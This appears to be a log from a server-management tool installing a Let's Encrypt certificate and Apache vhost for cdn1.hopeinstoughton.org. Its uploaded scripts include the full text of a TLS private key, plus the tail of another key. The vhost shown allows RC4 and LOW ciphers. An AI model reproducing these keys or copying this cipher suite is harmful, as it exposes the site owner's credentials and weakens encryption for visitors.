y554qGAoJVq+9nfW3IKseljTt9i+5HRpYDGDUhEuDLOWvb/PzwMI/G2cLwKBgFtt
L6xhHBuqCnIE+Ljo60yxrAdFdyGeq+MmGarUCJ8tzLW4gfsCKyvijEKvKxIVlYOc
D2LId3llcjrWgaguwZ84k8eVCRRkXzRmqsHCArqM0VdCWDJ3wm2/y84I24GXnzf+
ytQffUujf3YsxJg3bkuMxWLrB1eL7vhZ95BSPd5vAoGBAKSAEaD6OYjnHtABiuTM
erlNAneUzc61JLHNft6+ur4U0L2UF5hxdFnQ6owVfGTyaFUYLB+QWlsjUdlI1o8e
+qlUxb0iuPAksSQ2oS8SyXnfseD6LK1QxzhImM7PajRQmZApciFngOui1517g7p2
b5zytfnGRt+3F0q3G/YAtR0s
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-11-03 06:02:11: Establishing a connection
2025-11-03 06:02:11: Establishing a connection
2025-11-03 06:02:11: 

PUT: /tmp/pkp617386

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn1/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-03 06:02:12: 

chmod 755 /tmp/pkp617386; /tmp/pkp617386; rm /tmp/pkp617386

2025-11-03 06:02:12: 


1


2025-11-03 06:02:12: Establishing a connection
2025-11-03 06:02:12: 

PUT: /tmp/pkp243226

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cat > USlWLl0XtS3NDj2BjgW-jnGDIotk-G5QAysFmgH167Q <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
USlWLl0XtS3NDj2BjgW-jnGDIotk-G5QAysFmgH167Q.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 USlWLl0XtS3NDj2BjgW-jnGDIotk-G5QAysFmgH167Q


2025-11-03 06:02:12: 

chmod 755 /tmp/pkp243226; /tmp/pkp243226; rm /tmp/pkp243226

2025-11-03 06:02:12: 




2025-11-03 06:02:17: Establishing a connection
2025-11-03 06:02:17: 

PUT: /tmp/pkp852068

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
rm USlWLl0XtS3NDj2BjgW-jnGDIotk-G5QAysFmgH167Q


2025-11-03 06:02:18: 

chmod 755 /tmp/pkp852068; /tmp/pkp852068; rm /tmp/pkp852068

2025-11-03 06:02:18: 




2025-11-03 06:02:18: Establishing a connection
2025-11-03 06:02:18: 

PUT: /tmp/pkp488928

#!/bin/bash
temp_file=$(mktemp)
TARGET=0660cc0c014b1256b25525c3494eafa0.crt

cat > $temp_file <<'endmsg'
bb:b1:59:28:20:27:6b:b9:64:e3:6e:28:af:51:42:20

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBgLQBKvcCTf4EzCNwYgspHOMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMzQ1WhcNMjYwMjAxMDUwMzQ0WjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQC4OVjjNYDjON/WpA910nauzwBzDhCOtgFwxz7lN0+0xJNxdxN6
VK8RJXPQ/C70mR19dPJJd5NkJvpVFZ+QZnLCOri944FHw0G4vCgGgUpguX+2dL/3
1rsYnT3f+4/EiuvdyjLq3WGpJOVYLQWwsJjDEpia6iU7cld6koSSsv+zM9oxrXGj
JvJI9zPX9eAjH998mjtS0CPehJR4ggSDL3W6lInkMBxC5IynIoWjfl10nn39bm6a
p5WUXNE2X9rMc/k/A5YX3g6e/Nh+3qza5rcJjgiJxsLxc0oTB3clV8NvAQd/KCUa
OpyntF6qwgfaOB87xOKixCpwDDwp5OwT2luZAgMBAAGjggIqMIICJjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFBCMVjZ2AXrohXKF4WlIchxHoPWiMB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTMuY3JsMIIBBgYKKwYBBAHW
eQIEAgSB9wSB9ADyAHcAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYA
AAGaSE8cNgAABAMASDBGAiEApkejYcEqEU3B4nd+fmVj+IRlqbP7qdr3Vd12NtDL
jO8CIQChUF91YR1zjALCIu98pMdIgaTZ5MXBkEACFyJ26hQtXAB3ABmG1Mcoqm/+
ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmkhPI8AAAAQDAEgwRgIhAOcZSiqr
tuMLz4tSlsAMRilZsxkM2zO8NIshTTDYFdcwAiEA6+1QHC3RvzEeUQT3v8xNBUvW
rOFsn+YzOH6coUBOuz0wDQYJKoZIhvcNAQELBQADggEBALqUYfj6OrdaUrFOu8Fg
VV3aZOvtgsSD5bwViCvqcfFLPSQV/hsHh/3nZ/xcHSMFcHDcKAf9kCA5mlEq195Y
zXPgB8RBodgLXDYc3bHnmbSGSF/YijoP1KRMWxYw0eCyZzbGCqZq4YofQ2HVtUSi
do/g4beazlARQzKgUtBXPw/a2ceeb1aM3gzDNWtTa2a2dcjPzuZIgn3NV7b7egVt
E7dH17gub/haL03mFMane/aIwCVoxRejAidF0YpWRod+lRUgkBhfQuCfO9gQCDSB
joqQ6v5GgHyS8kUkron41hDmXGIb4uS1u6aotVVB/FEOPMcLBGaupuezFYS+EEk7
QzM=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC4OVjjNYDjON/W
pA910nauzwBzDhCOtgFwxz7lN0+0xJNxdxN6VK8RJXPQ/C70mR19dPJJd5NkJvpV
FZ+QZnLCOri944FHw0G4vCgGgUpguX+2dL/31rsYnT3f+4/EiuvdyjLq3WGpJOVY
LQWwsJjDEpia6iU7cld6koSSsv+zM9oxrXGjJvJI9zPX9eAjH998mjtS0CPehJR4
ggSDL3W6lInkMBxC5IynIoWjfl10nn39bm6ap5WUXNE2X9rMc/k/A5YX3g6e/Nh+
3qza5rcJjgiJxsLxc0oTB3clV8NvAQd/KCUaOpyntF6qwgfaOB87xOKixCpwDDwp
5OwT2luZAgMBAAECggEAPMvQJct2aYZPeIpT/9IhELeHsnClzjMKbqmSfBqw1zs4
XW2qo+hmjgYKHqHa7SXKsahyfQRVQ+wJGSM1sXXd0XOHnEMEWyZ4/fo6S0tHvHv7
Rb9pyuS2gf0CenSOkZI3HM6p1xCQNj3S4jKZeiINh/MPIbC78M5fSDgqQC+KaxzW
DtIlwsOIDZIHoCkajcTI0XjarVsh8AT95VeKt7XtHMZzbdPC/JEDKJOAoedQdGbm
DWRTwiZxattJ3bWO7Yly67DRSVhBd/lQO9otjdYoxXsBnDDho4AfBepQJ/KZtmDF
TJDaQ72ZsIF1G0gQ7BbxiNYiN0ay+i6IoSCW5sTvwQKBgQDlCOVEfxetiHewa2Ag
Nc+zUf1WwkRzX7lWIqUcfZ6U+gAhssZSlC0xe32w/BDzi9HaYDInEcZNLyA1llLO
beHFEd6dgaJkG7IINB59mOhSpbpmYAgZMyAXkLdrnMEkKkAxmhCQ0FaKdvc2YAnp
ceVSt9qsY7/HfuRj9tTMM0YGhQKBgQDN6dtMGCkWDkNSiYE3fTSiRKIlf0pQG9p3
XBh3iVKDcte7C5fkqnSBvRtS0IY+Ef+BzkH+o8s5g29m0pN0xzONvdZFNuhBo4CA
Z8rqXn/aSSxrA7JIuhch9g7TNlzvXdE4mHX0KEbdhER0CWpHjKOxrDXVsN+eik1b
Tf0LMdO/BQKBgGEEeKGgOHZwtUqM4WYjhTzPgUHr/rTkmoyLFmfQKomusLmVkf7O
96nbRq3eyItx8c3QK85y8A4n5Tvt1lvNHfKtlCAiFpjTRoHFGhlX2SmRPDk7epK6
HmD9E0VJXGMmZpTcTyIYrl/u7t8gpXI2pc55RO77PfSSospZd2CcY5BFAoGAcuKY
VRNh0QlyLFnFu4Ti2eo7IXqsppdzw4ahrAf0/pwTmytzusQTrtMorILlczoteWnv
zjfqyhL4E8FHPi9qJxoUs5dX7E9iAcJnJ25EHTEYVDjCvur8vxj+2n8JSQ/qDI6b
uPbD2xHR83/RSUxBhH7Vpn1Btr3pPRj9JsLNJlUCgYAlcPZNiuOu/w1hb/kEA11i
lC0z2KWCl+htj3aUX8UvySVP7X8bCNvOjaC7iuQyqoaXVOvE8Udjp8QimFyf6tCS
EToQJVTc6hjQyFC4dsCTEHhuSK/MEPr4SUIa3H5HryhaxezhZrKYg3Zkt/1zi1Ki
HMie8DQqTQRrQ3ATbVkhvw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-03 06:02:18: 

chmod 755 /tmp/pkp488928; /tmp/pkp488928; rm /tmp/pkp488928

2025-11-03 06:02:18: 


dir=/etc/ssl/certs


2025-11-03 06:02:18: 

PUT: /tmp/pkp459162

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-03 06:02:18: 

chmod 755 /tmp/pkp459162; /tmp/pkp459162; rm /tmp/pkp459162

2025-11-03 06:02:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf 48

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2025-11-03 06:02:18: 

PUT: /tmp/pkp727854

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn1_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf= 1'
fi


2025-11-03 06:02:18: 

chmod 755 /tmp/pkp727854; /tmp/pkp727854; rm /tmp/pkp727854

2025-11-03 06:02:18: 




2025-11-03 06:02:18: 

PUT: /tmp/pkp905409

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-03 06:02:18: 

chmod 755 /tmp/pkp905409; /tmp/pkp905409; rm /tmp/pkp905409

2025-11-03 06:02:18: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-03 06:02:18: Establishing a connection
2025-11-03 06:02:18: 

PUT: /tmp/pkp350320

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-03 06:02:18: 

chmod 755 /tmp/pkp350320; /tmp/pkp350320; rm /tmp/pkp350320

2025-11-03 06:02:18: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-03 06:02:18: 

PUT: /tmp/pkp836746

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-03 06:02:18: 

